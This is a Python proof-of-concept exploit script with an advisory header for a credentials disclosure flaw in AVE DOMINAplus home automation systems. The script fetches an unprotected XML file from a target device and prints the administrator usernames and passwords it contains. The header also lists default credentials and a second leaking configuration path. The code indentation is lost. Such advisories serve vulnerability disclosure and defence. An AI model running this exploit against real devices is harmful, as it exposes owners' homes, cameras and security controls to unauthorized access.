#!/usr/bin/env python
#
#
# AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit
#
#
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Touch Screen Code TS01 - 1.0.65
# Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
# Touch Screen Code TS05 - 1.10.36
# Models: 53AB-WBS
# TS01
# TS03V
# TS04X-V
# TS05N-V
# App version: 1.10.77
# App version: 1.10.65
# App version: 1.10.64
# App version: 1.10.62
# App version: 1.10.60
# App version: 1.10.52
# App version: 1.10.52A
# App version: 1.10.49
# App version: 1.10.46
# App version: 1.10.45
# App version: 1.10.44
# App version: 1.10.35
# App version: 1.10.25
# App version: 1.10.22
# App version: 1.10.11
# App version: 1.8.4
# App version: TS1-1.0.65
# App version: TS1-1.0.62
# App version: TS1-1.0.44
# App version: TS1-1.0.10
# App version: TS1-1.0.9
#
# Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
# Designed to revolutionize your concept of living. DOMINA plus is the AVE home
# automation proposal that makes houses safer, more welcoming and optimized. In
# fact, our home automation system introduces cutting-edge technologies, designed
# to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
# and security and offers advanced supervision tools in order to learn how to evaluate
# and reduce consumption through various solutions dedicated to energy saving.
#
# Desc: The application suffers from clear-text credentials disclosure vulnerability
# that allows an unauthenticated attacker to issue a request to an unprotected directory
# that hosts an XML file '/xml/authClients.xml' and obtain administrative login information
# that allows for a successful authentication bypass attack.
#
# Default credentials: admin:password
# Configuration and camera credentials disclosure: /xml/tsconf.xml
#
# ==================================================
# root@kali:~/domina# ./poc.py http://192.168.1.10
#
# Ze microfilm:
# -------------
# Username: arnoldcontrol
# Password: P1sD0nt5pYMe
# ==================================================
#
# Tested on: GNU/Linux 4.1.19-armv7-x7
# GNU/Linux 3.8.13-bone50/bone71.1/bone86
# Apache/2.4.7 (Ubuntu)
# Apache/2.2.22 (Debian)
# PHP/5.5.9-1ubuntu4.23
# PHP/5.4.41-0+deb7u1
# PHP/5.4.36-0+deb7u3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5550
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5550.php
#
#
# 06.10.2019
#
import sys,re
import xml.etree.ElementTree as XML
from urllib2 import Request,urlopen
if (len(sys.argv) <= 1):
print '[*] Usage: poc.py http://ip:port'
exit(0)
host = sys.argv[1]
headers = {'Accept': 'application/xml'}
request = Request(host+'/xml/authClients.xml', headers=headers)
print '\nZe microfilm:'
print '-------------'
xml = urlopen(request).read()
tree = XML.fromstring(xml)
for user in tree.findall('customer'):
print 'Username: ',user.get('plantCode')
for pwd in tree.iter('password'):
print 'Password: '+pwd.text+'\n'